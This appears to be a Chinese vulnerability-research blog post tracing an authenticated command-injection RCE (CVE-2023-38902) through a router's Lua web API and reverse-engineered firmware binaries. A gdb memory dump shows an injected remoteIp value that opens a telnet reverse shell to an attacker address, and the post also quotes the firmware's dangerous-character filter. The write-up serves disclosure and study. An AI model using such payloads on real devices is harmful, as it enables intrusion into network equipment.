CVE-2023-38902的详细研究

admin 2024年2月13日22:32:18评论18 views字数 24503阅读81分40秒阅读模式

前言

这是我收获的第一个CVE编号,在复现了winmt师傅的CVE-2023-34644后,他告诉我最新的固件虽然做了一些简单的处理,导致无法在未授权的情况下RCE,但因为没有从根源上对命令执行点做限制,所以在授权后,仍然可以进行RCE。我对最新的固件进行了分析,完整记录了授权后的RCE漏洞从分析到利用的过程。从提交漏洞到现在也有半年的时间了,并且某厂商官网也已经发布了最新的固件,现将该文章分享出来,供大家进行学习和研究。

PS:本文记录的部分内容和之前发布过的复现CVE-2023-34644文章中的部分内容有相似之处,因为对前期的lua文件分析基本一致。为了保证读任何一篇单独的文章都较为通顺和连贯,因此就保留了两篇文章中相似的部分。

仿真环境搭建

仿真环境搭建请参考:https://bbs.kanxue.com/thread-277386.htm#msg_header_h2_4

该文章详细记录了某厂商路由器的仿真过程。
qemu的启动脚本如下:
#!/bin/bash sudo qemu-system-mipsel -cpu 74Kf -M malta -kernel vmlinux-3.2.0-4-4kc-malta -hda debian_squeeze_mipsel_standard.qcow2 -append "root=/dev/sda1 console=tty0" -net nic -net tap,ifname=tap0,script=no,downscript=no -nographic
其中的vmlinux-3.2.0-4-4kc-maltadebian_squeeze_mipsel_standard.qcow2文件从https://people.debian.org/~aurel32/qemu/mipsel/进行下载。
在执行qemu启动脚本之前,执行下面的脚本,创建一个网桥
#!/bin/sh #sudo ifconfig eth0 down # 首先关闭宿主机网卡接口 sudo brctl addbr br0 # 添加一座名为 br0 的网桥 sudo brctl addif br0 ens33 # 在 br0 中添加一个接口 sudo brctl stp br0 off # 如果只有一个网桥,则关闭生成树协议 sudo brctl setfd br0 1 # 设置 br0 的转发延迟 sudo brctl sethello br0 1 # 设置 br0 的 hello 时间 sudo ifconfig br0 0.0.0.0 promisc up # 启用 br0 接口 sudo ifconfig ens33 0.0.0.0 promisc up # 启用网卡接口 sudo dhclient br0 # 从 dhcp 服务器获得 br0 的 IP 地址 sudo brctl show br0 # 查看虚拟网桥列表 sudo brctl showstp br0 # 查看 br0 的各接口信息 sudo tunctl -t tap0 -u root # 创建一个 tap0 接口,只允许 root 用户访问 sudo brctl addif br0 tap0 # 在虚拟网桥中增加一个 tap0 接口 sudo ifconfig tap0 0.0.0.0 promisc up # 启用 tap0 接口 sudo brctl showstp br0

漏洞分析

lua文件调用链分析

新版本219调用链分析

usr/lib/lua/luci/modules/cmd.lua文件中有如下代码,容易让初学者搞混,所以在此简单说明一下:
local opt = {"add", "del", "update", "get", "set", "clear", 'doc'} acConfig, devConfig, devSta, devCap = {}, {}, {}, {} for i = 1, #opt do ...... devSta[opt[i]] = function(params) local model = require "dev_sta" params.method = opt[i] params.cfg_cmd = "dev_sta" local data, back, ip, password, shell = doParams(params) return fetch(model.fetch, shell, params, opt[i], params.module, data, back, ip, password) end ...... end
首先是先定义了一个表opt里面装了字符串adddelupload等字符串,然后又定义了四张空表acConfigdevConfigdevStadevCap,接下来是一个for循环来遍历opt表。
devSta[opt[i]] = function(params)这行代码为例,假设现在opt[i]是元素addfunction(params)这里是声明了一个匿名函数,因为函数也是一个变量,这个变量被直接存储到了devSta表中,以键值的形式存在,键就是字符串add而值就是这个函数,之后调用这个函数的话可以直接写devSta["add"]()
function hello() local model = require "dev_sta" params.method = opt[i] params.cfg_cmd = "dev_sta" local data, back, ip, password, shell = doParams(params) return fetch(model.fetch, shell, params, opt[i], params.module, data, back, ip, password) end devSta["add"] = hello --假设此时遍历到了opt表中的add元素
为什么特别说明这里呢?
因为我在开始分析的时候,我一直以为这里是匹配到对应的键值后直接去执行函数,导致在此处执行了doParamsfetch函数(实际上通过上面的分析也知道,这里只是定义了这些函数,并没有进行调用)
下面开始正式从入口分析/api/cmd的这条链,在/usr/lib/lua/luci/controller/eweb/api.lua文件中存在entry({"api", "cmd"}, call("rpc_cmd"), nil)这行代码,意味着授权后访问/api/cmd路径时,可以调用rpc_cmd函数。
function rpc_cmd() local jsonrpc = require "luci.utils.jsonrpc" local http = require "luci.http" local ltn12 = require "luci.ltn12" local _tbl = require "luci.modules.cmd" http.prepare_content("application/json") ltn12.pump.all(jsonrpc.handle(_tbl, http.source()), http.write) end
通过分析rpc_cmd函数得知_tbl已经包含了cmd.lua中所有变量的定义(上文已经分析过了),主要是ac_configdev_configdev_sta这三个表包含了adddelupdategetsetcleardoc这些操作,而devCap表只有get
相关代码如下:
local opt = {"add", "del", "update", "get", "set", "clear", 'doc'} acConfig, devConfig, devSta, devCap = {}, {}, {}, {} for i = 1, #opt do acConfig[opt[i]] = function(params) local model = require "ac_config" params.method = opt[i] params.cfg_cmd = "ac_config" local data, back, ip, password, shell = doParams(params) return fetch(model.fetch, shell, params, opt[i], params.module, data, back, ip, password) end devConfig[opt[i]] = function(params) local model = require "dev_config" params.method = opt[i] params.cfg_cmd = "dev_config" local data, back, ip, password, shell = doParams(params) return fetch(model.fetch, shell, params, opt[i], params.module, data, back, ip, password) end devSta[opt[i]] = function(params) local model = require "dev_sta" params.method = opt[i] params.cfg_cmd = "dev_sta" local data, back, ip, password, shell = doParams(params) return fetch(model.fetch, shell, params, opt[i], params.module, data, back, ip, password) end if opt[i] == "get" then devCap[opt[i]] = function(params) local model = require "dev_cap" params.method = opt[i] params.cfg_cmd = "dev_cap" local data, back, ip, password, shell = doParams(params) return fetch(model.fetch, shell, params, opt[i], params.module, ip, password) end end if opt[i] == "doc" then syshell = function(params) local tool = require "luci.utils.tool" return tool.doc(params) end end end
然后来看rpc_cmd函数中的这行代码ltn12.pump.all(jsonrpc.handle(_tbl, http.source()), http.write)
jsonrpc.handle函数的参数是_tbl,看下luci.utils.jsonrpc文件中的handle函数,发现又将参数tbl传给了resolve,同时传入的还有报文中的method字段。
function handle(tbl, rawsource, ...) ...... if stat then if type(json.method) == "string" then local method = resolve(tbl, json.method) if method then response = reply(json.jsonrpc, json.id, proxy(method, json.params or {})) ...... end

resolve函数主要是将mod表中存放键值对中的函数提取出来,假设methoddevCap.get,那么下面的代码最后可以将匿名函数devCap["get"]赋值给mod并返回:
function resolve(mod, method) local path = luci.util.split(method, ".") for j = 1, #path - 1 do if not type(mod) == "table" then break end mod = rawget(mod, path[j]) if not mod then break end end mod = type(mod) == "table" and rawget(mod, path[#path]) or nil if type(mod) == "function" then return mod end end
分析proxy(method, json.params or {})发现,将刚刚解析的返回值methodproxy函数当做参数,这里的method又传入了luci.util文件中的copcall函数。
function proxy(method, ...) local tool = require "luci.utils.tool" local res = {luci.util.copcall(method, ...)} ...... end

copcall函数主要是对coxpcall的一个封装:
function copcall(f, ...) return coxpcall(f, copcall_id, ...) end
终于在coxpcall函数内部发现调用了f:
function coxpcall(f, err, ...) local res, co = oldpcall(coroutine.create, f) ...... end
oldpcall(coroutine.create, f)这行代码的目的是在一个新的协程中运行函数f。至此开始执行上面提到的匿名函数,重新回顾一下它的代码,该函数调用了doParamsjson数据进行解析,随后调用了fetch函数。
devSta[opt[i]] = function(params) local model = require "dev_sta" params.method = opt[i] params.cfg_cmd = "dev_sta" local data, back, ip, password, shell = doParams(params) return fetch(model.fetch, shell, params, opt[i], params.module, data, back, ip, password)
这个fetch函数在cmd.lua文件中已经定义了,这里调用了fn也就是fetch函数传入进来的第一个参数:
local function fetch(fn, shell, params, ...) require "luci.json" local tool = require "luci.utils.tool" local _start = os.time() local _res = fn(...) ...... end
fetch函数的第一个参数为model.fetchmodelrequire "dev_cap.lua"后的结果,所以在cmd.luafetch函数内部调用了dev_sta.lua文件中定义的fetch函数,该函数定义如下,能够看到最后是调用了/usr/lib/lua/libuflua.so文件中的client_call函数。
function fetch(cmd, module, param, back, ip, password, force, not_change_configId, multi) local uf_call = require "libuflua" ...... local stat = uf_call.client_call(ctype, cmd, module, param, back, ip, password, force, not_change_configId, multi) return stat end
IDA打开/usr/lib/lua/libuflua.so文件,发现并没有看到有定义的client_call函数,不过发现了uf_client_call函数,猜测可能是程序内部进行了关联。shift+f12搜索字符串发现并没有看到client_call(如下图)。
CVE-2023-38902的详细研究
大概率说明IDA没有把client_call解析成字符串,而是解析成了代码。我这里用010Editor打开该文件进行搜索字符串client_call,成功搜索到后发现其地址位于0xff0处。

CVE-2023-38902的详细研究

可以看到IDA确实是将0xff0位置的数据当做了代码来解析,选中这部分数据,按a,就能以字符串的形式呈现了。
CVE-2023-38902的详细研究
CVE-2023-38902的详细研究
对字符串client_call进行交叉引用,发现最终调用位置如下,luaL_registerLua中注册C语言编写的函数,它作用是将C函数添加到一个Lua模块中,使得这些C函数能够从Lua代码中被调用。
CVE-2023-38902的详细研究
该函数的原型如下:
void luaL_register (lua_State *L, const char *libname, const luaL_Reg *l);
lua_State *LLua状态指针,代表了一个Lua解释器实例。
const char *libname:模块的名称,这个名称会在Lua中作为一个全局变量存在,存放模块的函数。
const luaL_Reg *l:一个结构体数组,包含要注册到模块中的函数的信息。每个结构体包含函数的名称和相应的C函数指针
这里重点关注第三个参数,这就说明0x1101C的位置存放的是一个字符串以及一个函数指针(如下图),因此判断出client_call实际就定义在了sub_A00中。
CVE-2023-38902的详细研究
sub_A00函数定义如下,可以看到最后是调用了uf_client_call函数,而在这之前的很多赋值操作如*(_DWORD *)(v3 + 12) = lua_tolstring(a1, 4, 0);,很容易能猜测到其实是在解析Lua传入的各个参数字段。
Lua的代码中uf_call.client_call(ctype, cmd, module, param, back, ip, password, force, not_change_configId, multi)这里传入了多个参数,但是sub_A00函数就一个参数a1,结合的操作分析出这里是在解析参数。
int __fastcall sub_A00(int a1) { v13[0] = 0; v2 = malloc(52); v3 = v2; if ( v2 ) { memset(v2, 0, 52); v5 = 4; *(_DWORD *)v3 = luaL_checkinteger(a1, 1); *(_DWORD *)(v3 + 4) = luaL_checklstring(a1, 2, 0); v6 = luaL_checklstring(a1, 3, 0); v7 = *(_DWORD *)v3; *(_DWORD *)(v3 + 8) = v6; if ( v7 != 3 ) { *(_DWORD *)(v3 + 12) = lua_tolstring(a1, 4, 0); *(_BYTE *)(v3 + 41) = lua_toboolean(a1, 5) == 1; v5 = 6; *(_BYTE *)(v3 + 40) = 1; } *(_DWORD *)(v3 + 20) = lua_tolstring(a1, v5, 0); *(_DWORD *)(v3 + 24) = lua_tolstring(a1, v5 + 1, 0); v8 = v5 + 2; if ( *(_DWORD *)v3 ) { if ( *(_DWORD *)v3 == 2 ) { v8 = v5 + 3; *(_BYTE *)(v3 + 43) = lua_toboolean(a1, v5 + 2) == 1; } } else { *(_BYTE *)(v3 + 43) = lua_toboolean(a1, v5 + 2) == 1; v8 = v5 + 4; *(_BYTE *)(v3 + 44) = lua_toboolean(a1, v5 + 3) == 1; } *(_BYTE *)(v3 + 48) = lua_toboolean(a1, v8) == 1; v4 = uf_client_call(v3, v13, 0); } ......
uf_client_call函数是一个引用外部库的函数,用grep在整个文件系统搜索字符串uf_client_call,结合/usr/lib/lua/libuflua.so文件中引用的外部库进行分析,最终判断出uf_client_call函数定义在/usr/lib/libunifyframe.so。
CVE-2023-38902的详细研究

uf_client_call函数首先判断了method的类型,然后解析出报文中各字段的值,并将其键值对添加到一个JSON对象中,接着将最终处理好的JSON对象转换为JSON格式的字符串,通过uf_socket_msg_writesocket套接字进行数据传输。
int __fastcall uf_client_call(_DWORD *a1, int a2, int *a3) { ...... v5 = json_object_new_object(); ...... switch ( *a1 )//这里的*a1指的就是uf_call.client_call函数的第一个参数ctype,他取决于method它在dev_sta.lua文件中被赋值为了2 { case 0: v15 = ((int (*)(void))strlen)() + 10; ...... v13 = "acConfig.%s"; goto LABEL_22; case 1: v14 = ((int (*)(void))strlen)() + 11; ...... v13 = "devConfig.%s"; goto LABEL_22; case 2: v8 = ((int (*)(void))strlen)() + 8; ...... v13 = "devSta.%s"; goto LABEL_22; case 3: v16 = ((int (*)(void))strlen)() + 8; ...... v13 = "devCap.%s"; goto LABEL_22; case 4: v17 = ((int (*)(void))strlen)() + 7; ...... LABEL_22://接下来使用了大量的json_object_object_add函数,该函数的作用是在已有的JSON对象中添加一个键值对,以json_object_object_add(v20, "remoteIp", v23)函数为例,作用是将{"remote",v23}这个键值对添加到v20所指的JSON对象中, json_object_object_add(v5, "method", v19); v20 = json_object_new_object(); ...... v21 = json_object_new_string(a1[2]); json_object_object_add(v20, "module", v21); v22 = a1[5]; if ( !v22 ) goto LABEL_35; json_object_object_add(v20, "remoteIp", v23); LABEL_35: v25 = a1[6]; if ( v25 ) { v26 = json_object_new_string(v25); ...... json_object_object_add(v20, "remotePwd", v26); } if ( a1[9] ) { ...... json_object_object_add(v20, "buf", v27); } if ( *a1 ) { if ( *a1 != 2 ) { v28 = *((unsigned __int8 *)a1 + 45); goto LABEL_58; } if ( *((_BYTE *)a1 + 42) ) { v30 = json_object_new_boolean(1); if ( v30 ) { v31 = v20; v32 = "execute"; goto LABEL_56; } } } else { if ( *((_BYTE *)a1 + 43) ) { v29 = json_object_new_boolean(1); if ( v29 ) json_object_object_add(v20, "force", v29); } if ( *((_BYTE *)a1 + 44) ) { v30 = json_object_new_boolean(1); if ( v30 ) { v31 = v20; v32 = "configId_not_change"; LABEL_56: json_object_object_add(v31, v32, v30); goto LABEL_57; } } } LABEL_57: v28 = *((unsigned __int8 *)a1 + 45); LABEL_58: if ( v28 ) { v33 = json_object_new_boolean(1); if ( v33 ) json_object_object_add(v20, "from_url", v33); } if ( *((_BYTE *)a1 + 47) ) { v34 = json_object_new_boolean(1); if ( v34 ) json_object_object_add(v20, "from_file", v34); } if ( *((_BYTE *)a1 + 48) ) { v35 = json_object_new_boolean(1); if ( v35 ) json_object_object_add(v20, "multi", v35); } if ( *((_BYTE *)a1 + 46) ) { v36 = json_object_new_boolean(1); if ( v36 ) json_object_object_add(v20, "not_commit", v36); } if ( *((_BYTE *)a1 + 40) ) { v37 = json_object_new_boolean(*((unsigned __int8 *)a1 + 41) ^ 1); if ( v37 ) json_object_object_add(v20, "async", v37); } v38 = (_BYTE *)a1[3]; if ( !v38 || !*v38 ) goto LABEL_78; v39 = json_object_new_string(v38); json_object_object_add(v20, "data", v39); LABEL_78: v41 = (_BYTE *)a1[4]; if ( v41 && *v41 ) { v42 = json_object_new_string(v41); if ( !v42 ) { json_object_put(v20); json_object_put(v5); v40 = 630; goto LABEL_82; } json_object_object_add(v20, "device", v42); } json_object_object_add(v5, "params", v20);//将上面的v20当做了params的值,向v5中添加新的键值对 v43 = json_object_to_json_string(v5);//json_object_to_json_string作用是将JSON对象转换为JSON格式的字符串 ...... v44 = uf_socket_client_init(0); ...... v50 = strlen(v43); uf_socket_msg_write(v44, v43, v50);//最终调用uf_socket_msg_write,用socket实现了进程间通信,将解析好的json数据发送给其他进程进行处理 ......
既然存在uf_socket_msg_write进行数据发送,那么肯定就在一个地方有用uf_socket_msg_read函数进行数据的接收,用grep进行字符串搜索,发现/usr/sbin/unifyframe-sgi.elf文件,并且该文件还位于/etc/init.d目录下,这意味着该进程最初就会启动并一直存在,所以判断出这个unifyframe-sgi.elf文件就是用来接收libunifyframe.so文件所发送过来的数据。
CVE-2023-38902的详细研究

219版本之前的调用链

该调用链是winmt师傅在CVE-2023-34644利用的,在219之前该调用链可以通杀该厂商大部分设备。下面介绍的这条调用链所出示的代码均来自某型号的204版本。
/usr/lib/lua/luci/controller/eweb/api.lua文件中,配置了路由entry({"api", "auth"}, call("rpc_auth"), nil).sysauth = false
这意味着当用户访问/api/auth路径时,将调用rpc_auth。在luci框架中sysauth属性控制是否需要进行系统级的用户认证才能访问该路由,这里的sysauth属性为false,表示无需进行系统认证即可访问。
rpc_auth函数首先引入了一些模块,然后获取HTTP_CONTENT_LENGTH的长度是否大于1000字节,如果不大于的话会将准备HTTP响应的类型设置为application/json,下面的handle函数第一个参数_tbl传入的是luci.modules.noauth文件返回的内容。
function rpc_auth() local jsonrpc = require "luci.utils.jsonrpc" local http = require "luci.http" local ltn12 = require "luci.ltn12" local _tbl = require "luci.modules.noauth" if tonumber(http.getenv("HTTP_CONTENT_LENGTH") or 0) > 1000 then http.prepare_content("text/plain") -- http.write({code = "1", err = "too long data"}) return "too long data" end http.prepare_content("application/json") ltn12.pump.all(jsonrpc.handle(_tbl, http.source()), http.write) end
到了handle函数内部后的流程与分析最新版的步骤一样,就不再赘述,最后的结果就是能在这里触发noauth文件中的merge函数(前提是报文中要设置method字段的值为merge
noauth的文件中定义了merge函数:
function merge(params) local cmd = require "luci.modules.cmd" return cmd.devSta.set({device = "pc", module = "networkId_merge", data = params, async = true}) end

merge函数又调用了/usr/lib/lua/luci/modules/cmd.lua文件中的devSta.set函数,之后的过程又和上文中分析最新版的步骤一样,也不再重复记录。
devSta[opt[i]] = function(params) local model = require "dev_sta" params.method = opt[i] params.cfg_cmd = "dev_sta" local data, back, ip, password, shell = doParams(params) return fetch(model.fetch, shell, params, opt[i], params.module, data, back, ip, password)

为什么最新版不能再走这条链了?

219版本,在noauth.lua文件中的merge函数,加入了对params中危险字符的过滤,调用了includeXxsincludeQuote函数,对换行符、回车符、反引号、&$;|等符号都做了过滤,这就意味着后续无法再进行命令注入了。而219版本只在这里进行了危险字符的过滤,只要从其他地方调用到诸如dev_capdev_sta表中的函数依然可以进行命令注入。
function merge(params) local cmd = require "luci.modules.cmd" local tool = require("luci.utils.tool") local _strParams = luci.json.encode(params) if tool.includeXxs(_strParams) or tool.includeQuote(_strParams) then tool.eweblog(_strParams, "MERGE FAILED INVALID DATA") return 'INVALID DATA' end return cmd.devSta.set({ device = "pc", module = "networkId_merge", data = params, async = true }) end function includeXxs(str) local ngstr = "[nr`&$;|]" return string.match(str, ngstr) ~= nil end function includeQuote(str) return string.match(str, "(['])") ~= nil end

漏洞文件分析

下面开始分析/usr/sbin/unifyframe-sgi.elf文件,整体流程是在main函数调用了三个关键函数uf_socket_msg_readparse_contentadd_pkg_cmd2_task,他们的作用分别为接收数据、解析数据、执行命令。

字段解析

uf_socket_msg_read函数将json数据读入到内存中,地址为v31+1。
//uf_socket_msg_read v31 = (_DWORD *)malloc_pkg(); ...... pthread_mutex_lock(v29 + 5); *v31 = v29; v52 = uf_socket_msg_read(*v29, v31 + 1); pthread_mutex_unlock(v29 + 5);
通过gdb来查看读入的数据这里只为说明gdb可以查看内存中读入的数据,文章前后发送的报文并不一样。
pwndbg> x/4s 0x623850 0x623850: "{ "method": "devConfig.get", "params": { "module": "123", "remoteIp": "$(mkfifo \/tmp\/test;telnet 192.168.45.203 6666 0<\/tmp\/test|\/bin\/sh > \/tmp\/test)", "remotePwd": "", "async": true, "data": "... 0x623918: ""{\"kkk\":\"abc\"}" } }"

json数据的各字段进行解析在parse_content函数中完成,该函数首先判断了paramsmethod字段是否存在,然后在method字段不为cmdArr的情况下,调用parse_obj2_cmd函数进一步对字段进行解析。
//parse_content v3 = json_tokener_parse(); v4 = v3; ...... v6 = json_object_object_get_ex(v3, "params", &v18); v7 = v4; if ( v6 != 1 )//检查了 params 字段是否存在值 { LABEL_27: json_object_put(v7); return -1; } if ( json_object_object_get_ex(v4, "method", v19) != 1 )//检查了 method 字段是否存在值 { LABEL_26: v7 = v4; goto LABEL_27; } v8 = json_object_get_string(v19[0]); if ( !v8 ) { ...... } if ( strstr(v8, "cmdArr") )//因为发送的 method 字段不为 cmdArr,所以进入 else { ...... } else { ...... v16 = parse_obj2_cmd(v4); //进行数据解析的具体位置,v4为Json对象 *v15 = v16; if ( !v16 ) { ...... } pkg_add_cmd(a1, v15); v15[2] = 0; }

parse_obj2_cmd函数中具体的解析了各个字段及类型并把它们记录到一个堆块中,最终返回该堆块地址,便于之后的访问。想知道POC的编写格式就要对此处进行逆向分析,具体分析结果已写在注释中。
//parse_obj2_cmd v2 = malloc(0x34);//创建了一个堆块,用于记录和存储接下来的各种信息,该函数最终会返回这个堆块地址 v3 = v2; ...... if ( json_object_object_get_ex(a1, "params", &v38) != 1 )//判断params字段是否存在,存在的话将值赋给v38 { ...... } if ( json_object_object_get_ex(a1, "method", &v37) != 1 )//判断method字段是否存在,存在的话将值赋给v37 { ...... } v4 = json_object_get_string(v37);//获取到method的值,下面去匹配对应的操作,各种操作都对应一个数字,该数字放在了堆块的第一个指针处 v5 = v4; ...... if ( strstr(v4, "devSta") ) { v6 = 2; } else { if ( strstr(v5, "acConfig") ) { *(_DWORD *)v3 = 0; goto LABEL_21; } if ( strstr(v5, "devConfig") ) { *(_DWORD *)v3 = 1; goto LABEL_21; } if ( strstr(v5, "devCap") ) { v6 = 3; } else { if ( !strstr(v5, "ufSys") ) { uf_log_printf(uf_log, (const char *)dword_4219EC, "sgi.c", "parse_obj2_cmd", 274); goto LABEL_109; } v6 = 4; } } *(_DWORD *)v3 = v6; LABEL_21: v7 = strchr(v5, 46);//此处的strchr与strdup函数配合将method字段中xxx.xxx的字符串进行了分割,假设最初method为devConfig.get,那么此处会将get放入堆块中的第二个指针处 v8 = strdup(v7 + 1); *(_DWORD *)(v3 + 4) = v8; if ( json_object_object_get_ex(v38, "module", &v37) != 1 )//判断params字段中是否存在module这个值,存在的话将module的值放入v37中,不存在直接返回 { ...... } v10 = json_object_get_string(v37); if ( !v10 ) { uf_log_printf(uf_client_log, "(%s %s %d)obj_module is null", "sgi.c", "parse_obj2_cmd", 294); goto LABEL_109; } v11 = strdup(v10); *(_DWORD *)(v3 + 8) = v11;//将module字段的值放到堆块的第三个指针中 if ( json_object_object_get_ex(v38, "remoteIp", &v37) == 1 && (unsigned int)(json_object_get_type(v37) - 5) < 2 )//这里判断params字段中remoteIp是否存在,存在的话将remoteIp的值赋给v37,同时对remoteIp值的类型做了检查,这里其实就要它的类型为string { v12 = json_object_get_string(v37); if ( v12 ) { v13 = strdup(v12); *(_DWORD *)(v3 + 20) = v13;//将remoteIp的值放入堆块的第六个指针中 ...... } } else { *(_DWORD *)(v3 + 20) = 0; } if ( json_object_object_get_ex(v38, "remotePwd", &v37) == 1 && json_object_get_type(v37) == 5 )//作用同上类似,这里要求remotePwd的类型为array,但是如果传入array类型的话,前端做了相应的检查导致异常,因此猜测这里应该是写的Bug { v14 = json_object_get_string(v37); if ( v14 ) { v15 = strdup(v14); *(_DWORD *)(v3 + 24) = v15; ...... } } v16 = *(_DWORD *)v3 != 2; *(_BYTE *)(v3 + 40) = 0; *(_BYTE *)(v3 + 41) = v16; if ( json_object_object_get_ex(v38, "async", &v37) == 1 ) { v17 = (_BYTE *)sub_404BAC(v37); v18 = v17; if ( v17 ) { if ( *v17 == 48 || !strcmp(v17, "false") ) { *(_BYTE *)(v3 + 40) = 1; *(_BYTE *)(v3 + 41) = 1; } if ( *v18 == 49 || !strcmp(v18, "true") ) *(_WORD *)(v3 + 40) = 1; free(v18); } } if ( json_object_object_get_ex(v38, "force", &v37) == 1 ) { v19 = (_BYTE *)sub_404BAC(v37); v20 = v19; if ( v19 ) { if ( *v19 == 49 || !strcmp(v19, "true") ) *(_BYTE *)(v3 + 43) = 1; free(v20); } } if ( json_object_object_get_ex(v38, "configId_not_change", &v37) == 1 ) { v21 = (_BYTE *)sub_404BAC(v37); v22 = v21; if ( v21 ) { if ( *v21 == 49 || !strcmp(v21, "true") ) *(_BYTE *)(v3 + 44) = 1; free(v22); } } if ( json_object_object_get_ex(v38, "from_url", &v37) == 1 ) { v23 = (_BYTE *)sub_404BAC(v37); v24 = v23; if ( v23 ) { if ( *v23 == 49 || !strcmp(v23, "true") ) *(_BYTE *)(v3 + 45) = 1; free(v24); } } if ( json_object_object_get_ex(v38, "from_file", &v37) == 1 ) { v25 = (_BYTE *)sub_404BAC(v37); v26 = v25; if ( v25 ) { if ( *v25 == 49 || !strcmp(v25, "true") ) *(_BYTE *)(v3 + 47) = 1; free(v26); } } if ( json_object_object_get_ex(v38, "multi", &v37) == 1 ) { v27 = (_BYTE *)sub_404BAC(v37); v28 = v27; if ( v27 ) { if ( *v27 == 49 || !strcmp(v27, "true") ) *(_BYTE *)(v3 + 48) = 1; free(v28); } } if ( json_object_object_get_ex(v38, "not_commit", &v37) == 1 ) { v29 = (_BYTE *)sub_404BAC(v37); v30 = v29; if ( v29 ) { if ( *v29 == 49 || !strcmp(v29, "true") ) *(_BYTE *)(v3 + 46) = 1; free(v30); } } if ( json_object_object_get_ex(v38, "execute", &v37) == 1 ) { v31 = (_BYTE *)sub_404BAC(v37); v32 = v31; if ( v31 ) { if ( *v31 == 49 || !strcmp(v31, "true") ) *(_BYTE *)(v3 + 42) = 1; free(v32); } } v33 = v3; if ( json_object_object_get_ex(v38, "data", &v37) == 1 && (unsigned int)(json_object_get_type(v37) - 4) < 3 )//判断params字段中是否存在data,如果存在的话将其赋值给v37,并且检查了data的值类型,只能为object,array,string三种类型,然后将data的值放到堆块的第四个指针处 { v34 = json_object_get_string(v37); if ( v34 ) { v35 = strdup(v34); *(_DWORD *)(v3 + 12) = v35; if ( !v35 ) { v9 = 470; goto LABEL_108; } } } return v33;//返回堆块地址
将这个堆块装的各种数据绘制成图片可能更直观一些(如下)xxx代表有些保留字段,或者是一些标志位,它们在后续利用过程中并不重要,暂不详细记录。
CVE-2023-38902的详细研究
使用GDB调试到此处看到的各字段信息如下:
parse_obj2_cmd函数结束后,会执行pkg_add_cmd(a1, v15),它的核心作用就是在a1这个数据结构中记录了v15的指针,使得后续操作通过a1访问到刚刚解析出来的各个字段。不过这pkg_add_cmd函数里有一个谜之操作,在这行代码中*(_DWORD *)(a1 + 92) = a2 + 13是把a2也就是v15的值加上了13存储到了a1中,而通过后续的分析得知,之后访问这个v15的堆块是通过*(a1+92)-13得到的地址。存的时候+13,访问的时候-13,这里没太理解但并不影响我们后续的分析。

触发漏洞的调用链分析

main ==> add_pkg_cmd2_task ==> uf_cmd_call ==> ufm_handle ==> remote_call ==>sub_41A148
json数据解析完成后,会调用add_pkg_cmd2_task,该函数通过访问之前解析出的各个字段,判断method是不是devCap,如果是的话可以调用后续的漏洞函数(不是devCap也可以触发漏洞但是调用链走的并不是我分析的这条)。
//add_pkg_cmd2_task if ( dword_43897C < 1001 )//这里正常就可以进入 { pthread_mutex_lock(*a1 + 20); v3 = (_DWORD *)a1[22];//这个a1[22]也就是上面提到的*(a1+92) v4 = v3 - 13;//当时存地址时加了13,这里又减了13,所以v4就是上面记录了解析json各字段的那个堆块地址 for ( i = *v3 - 52; ; i = *(_DWORD *)(i + 52) - 52 ) { if ( v4 + 13 == a1 + 22 ) { pthread_mutex_unlock(*a1 + 20); return 0; } v6 = malloc(20); v7 = (int **)v6; ...... v10 = (int *)(v6 + 4); v7[2] = v10; v7[1] = v10; *v7 = v4; v7[4] = (int *)(v7 + 3); v7[3] = (int *)(v7 + 3); ...... *v7 = v4; v11 = (_DWORD *)*v4; v12 = *(_DWORD *)*v4; if ( v12 == 3 )//触发uf_cmd_call函数的关键就是method值的操作类型要为devCap,才能执行break跳出循环,调用uf_cmd_call函数(method为devConfig.get时,依然可以完成攻击,不过走的就是其他链了) break; if ( v12 == 4 ) { gettimeofday(v4 + 5, 0); uf_sys_handle(**v7, v4 + 1); LABEL_22: gettimeofday(v4 + 7, 0); sub_40B404(v7); goto LABEL_23; } if ( v12 == 2 && !strcmp(v11[1], "get") && !v11[9] && uf_cmd_buf_exist_check(v11[2], 2, v11[3], v4 + 1) )//这个v12也就是解析的Operation type值 { ...... } sub_40B0C4(v7); LABEL_23: v4 = (int *)i; } gettimeofday(v4 + 5, 0); if ( uf_cmd_call(*v4, v4 + 1) )//后续的漏洞触发是在这个函数中 v13 = 2; else v13 = 1; v4[12] = v13; goto LABEL_22; } ...... return v1;

uf_cmd_call函数:
//uf_cmd_call v2 = *(const char **)(a1 + 4); if ( !v2 || (v3 = *(_DWORD *)a1, *(_DWORD *)a1 >= 6u) || (v4 = *(const char **)(a1 + 8)) == 0 )//这里检查了operator是否为空,Operation type的合法性检查以及module_value是否存在,在我们发送的报文中是不会进入这个if的 { ...... } memset(v103, 0, 108); if ( v3 == 3 )//因为操作类型设置为devCap,所以这个if可以进来 { ...... v5 = *(const char **)(a1 + 20);//这里取了remoteIp字段 if ( !v5 || !*v5 )//判断remoteIp字段是否存在 goto LABEL_250; v6 = a1; if ( !is_self_ip(*(_DWORD *)(v6 + 20)) )//is_self_ip函数正常情况下返回的是0,这个if可以进入 { remote_call((int *)a1, (const char **)a2);//后续的漏洞触发是在这个函数中 } ......

remote_call函数:
//remote_call v9 = (const char *)a1[5];// v9为remoteIp字段 if ( !strcmp(a1[2], dword_4232A8) && *a1 == 5 )// 拿module字段中的值与字符串esw做比较,这个if进不去 { ...... } ...... for ( i = *(const char **)((char *)&sid_list_by_ip + v11); ; i = *(const char **)i )// 这个if会进去 { if ( i == (char *)&sid_list_by_ip + v11 ) // 这个if也会进去 { pthread_rwlock_unlock(&sid_mutex); goto LABEL_35; // 跳转至触发漏洞函数 } ...... LABEL_35: v14 = sub_41A148((int)a1);//该函数存在最终的漏洞点 ...... return 0;
最终存在命令注入的函数sub_41A148。
